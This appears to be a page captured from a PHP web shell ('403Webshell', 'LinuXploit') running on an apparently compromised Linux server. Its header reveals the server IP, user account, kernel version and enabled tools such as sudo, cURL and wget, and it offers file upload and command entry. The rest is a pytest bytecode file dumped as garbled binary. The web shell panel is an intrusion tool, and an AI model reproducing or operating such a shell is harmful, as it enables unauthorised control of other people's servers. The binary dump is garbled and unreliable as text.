403Webshell
Server IP : 46.101.140.223  /  Your IP : 216.73.217.61
Web Server : nginx/1.22.1
System : Linux debian-s-1vcpu-1gb-fra1-01 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : deploy-others ( 1001)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/_pytest/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/_pytest/__pycache__/tmpdir.cpython-311.pyc
�

��c���dZddlZddlZddlZddlZddlmZddlmZddl	Z	ddlm
Z
ddlmZddlmZdd	lm
Z
dd
lmZddlmZddlmZdd
lmZddlmZddlmZee	jd���Gd�d������Zdeefd�Zdeddfd�Zed���dedefd���Zdededefd�Zedededefd���Z dS) z>Support for providing temporary directories to test functions.�N)�Path)�Optional�)�LOCK_TIMEOUT)�make_numbered_dir)�make_numbered_dir_with_cleanup)�rm_rf)�final)�Config)�check_ispytest)�fixture)�FixtureRequest)�MonkeyPatchF)�initc
�"�eZdZdZejee���Zej��Z	ejee���Z
	ddd�deedeeded	dfd
�Ze
dd�deded	dfd���Zd
ed	efd�Zdd
eded	efd�Zd	efd�ZdS)�TempPathFactoryz�Factory for temporary directories under the common base temp directory.

    The base directory can be configured using the ``--basetemp`` option.
    )�typeNF��	_ispytest�given_basetemp�basetempr�returnc���t|��|�d|_n>ttj�t
|������|_||_||_dS�N)	r�_given_basetempr�os�path�abspath�str�_trace�	_basetemp)�selfr�tracerrs     �0/usr/lib/python3/dist-packages/_pytest/tmpdir.py�__init__zTempPathFactory.__init__#s]��	�y�!�!�!��!�#'�D� � �
$(������N�8K�8K�(L�(L�#M�#M�D� ����!������configc��t|��||jj|j�d��d���S)zTCreate a factory according to pytest configuration.

        :meta private:
        �tmpdirT)rr#r)r�optionrr#�get)�clsr'rs   r$�from_configzTempPathFactory.from_config6sI��	�y�!�!�!��s�!�=�1��,�"�"�8�,�,��
�
�
�	
r&�basenamec���tj�|��}|���|z���j|���krt
|�d����|S)Nz& is not a normalized and relative path)rr�normpath�getbasetemp�resolve�parent�
ValueError)r"r.s  r$�_ensure_relative_to_basetempz,TempPathFactory._ensure_relative_to_basetempHsj���7�#�#�H�-�-��������)�2�2�4�4�;�t�?O�?O�?Q�?Q�Q�Q���P�P�P�Q�Q�Q��r&T�numberedc�$�|�|��}|s>|����|��}|�d���n:t	|���|d���}|�d|��|S)aCreate a new temporary directory managed by the factory.

        :param basename:
            Directory base name, must be a relative path.

        :param numbered:
            If ``True``, ensure the directory is unique by adding a numbered
            suffix greater than any existing one: ``basename="foo-"`` and ``numbered=True``
            means that this function will create directories named ``"foo-0"``,
            ``"foo-1"``, ``"foo-2"`` and so on.

        :returns:
            The path to the new directory.
        ���mode)�root�prefixr:�mktemp)r5r1�joinpath�mkdirrr )r"r.r6�ps    r$r=zTempPathFactory.mktempNs����4�4�X�>�>���	%�� � �"�"�+�+�H�5�5�A�
�G�G��G�����!�t�'7�'7�'9�'9�(�QV�W�W�W�A��K�K��!�$�$�$��r&c��|j�|jS|j�V|j}|���rt|��|�d���|���}�notj�d��}t|ptj�������}t��pd}|�
d|����}	|�dd���n<#t$r/|�
d	��}|�dd���YnwxYwtjd
krvt
j��}|���}|dkrI|j|krtd|�d
����|jdzdkrt
j||jdz��t-d|dt.d���}|�
J|���||_|�d|��|S)z�Return the base temporary directory, creating it if needed.

        :returns:
            The base temporary directory.
        Nr8r9�PYTEST_DEBUG_TEMPROOT�unknownz
pytest-of-T)r:�exist_okzpytest-of-unknown�win32���zThe temporary directory z: is not owned by the current user. Fix this and try again.�?ri����zpytest-�)r<r;�keep�lock_timeoutr:znew basetemp)r!r�existsr	r?r2r�environr+r�tempfile�
gettempdir�get_userr>�OSError�sys�platform�getuid�stat�st_uid�st_mode�chmodrrr )r"r�from_env�temproot�user�rootdir�uid�rootdir_stats        r$r1zTempPathFactory.getbasetempfs)���>�%��>�!���+��+�H���� � �
 ��h�����N�N��N�&�&�&��'�'�)�)�H�H��z�~�~�&=�>�>�H��H�=��(;�(=�(=�>�>�F�F�H�H�H��:�:�*��D��'�'�(;�T�(;�(;�<�<�G�
9��
�
�5�4�
�8�8�8�8���
9�
9�
9�"�+�+�,?�@�@���
�
�5�4�
�8�8�8�8�8�
9�����|�w�&�&��i�k�k��&�|�|�~�~���"�9�9�#�*�c�1�1�%�6�w�6�6�6����%�,�u�4��:�:����,�*>��*G�H�H�H�5� ���)�����H��#�#�X�#�#�#�!������N�H�-�-�-��s�(D�6D9�8D9r)T)�__name__�
__module__�__qualname__�__doc__�attr�ibrrrr r!�boolr%�classmethodrr-rr5r=r1�r&r$rrsn��������
�d�g�8�D�>�2�2�2�O�
�T�W�Y�Y�F����X�d�^�,�,�,�I�$(�	"� �
"�"�"� ���"��4�.�	"��
"�
�"�"�"�"�&�
 �	
�
�
��
��	
�

�
�
�
��[�
�"�S��S�������s��d��d�����09�T�9�9�9�9�9�9r&rrc�d�	ddl}|���S#ttf$rYdSwxYw)zlReturn the current user name, or None if getuser() does not work
    in the current environment (see #1010).rN)�getpass�getuser�ImportError�KeyError)rhs r$rOrO�sG���������� � � ����"�����t�t����s��/�/r'c��t��}|�|j��t�|d���}|�|d|d���dS)aCreate a TempPathFactory and attach it to the config object.

    This is to comply with existing plugins which expect the handler to be
    available at pytest_configure time, but ideally should be moved entirely
    to the tmp_path_factory session fixture.
    Tr�_tmp_path_factoryF)�raisingN)r�add_cleanup�undorr-�setattr)r'�mprms   r$�pytest_configurers�s^��
���B�
���r�w����'�3�3�F�d�3�K�K���J�J�v�*�,=�u�J�M�M�M�M�Mr&�session)�scope�requestc��|jjS)zGReturn a :class:`pytest.TempPathFactory` instance for the test session.)r'rm)rvs r$�tmp_path_factoryrx�s���>�+�+r&�factoryc��|jj}tjdd|��}d}|d|�}|�|d���S)Nz[\W]�_�T)r6)�node�name�re�subr=)rvryr~�MAXVALs    r$�_mk_tmpr��sG���<��D�
�6�'�3��%�%�D�
�F�����=�D��>�>�$��>�.�.�.r&rxc�"�t||��S)a�Return a temporary directory path object which is unique to each test
    function invocation, created as a sub directory of the base temporary
    directory.

    By default, a new base temporary directory is created each test session,
    and old bases are removed after 3 sessions, to aid in debugging. If
    ``--basetemp`` is used then it is cleared each session. See :ref:`base
    temporary directory`.

    The returned object is a :class:`pathlib.Path` object.
    )r�)rvrxs  r$�tmp_pathr��s���7�,�-�-�-r&)!rarrrQrM�pathlibr�typingrrbrrrr	�_pytest.compatr
�_pytest.configr�_pytest.deprecatedr�_pytest.fixturesr
r�_pytest.monkeypatchr�srrrOrsrxr�r�rfr&r$�<module>r�sR��D�D�	�	�	�	�	�	�	�	�
�
�
�
���������������������!�!�!�!�!�!�&�&�&�&�&�&�3�3�3�3�3�3������� � � � � � �!�!�!�!�!�!�-�-�-�-�-�-�$�$�$�$�$�$�+�+�+�+�+�+�+�+�+�+�+�+�����U����F�F�F�F�F�F�F�����F�R	�(�3�-�	�	�	�	�
N�V�
N��
N�
N�
N�
N�	��y����,�n�,��,�,�,���,�/�^�/�o�/�$�/�/�/�/�	�
.�n�
.��
.�D�
.�
.�
.�	��
.�
.�
.r&

Youez - 2016 - github.com/yon3zu
LinuXploit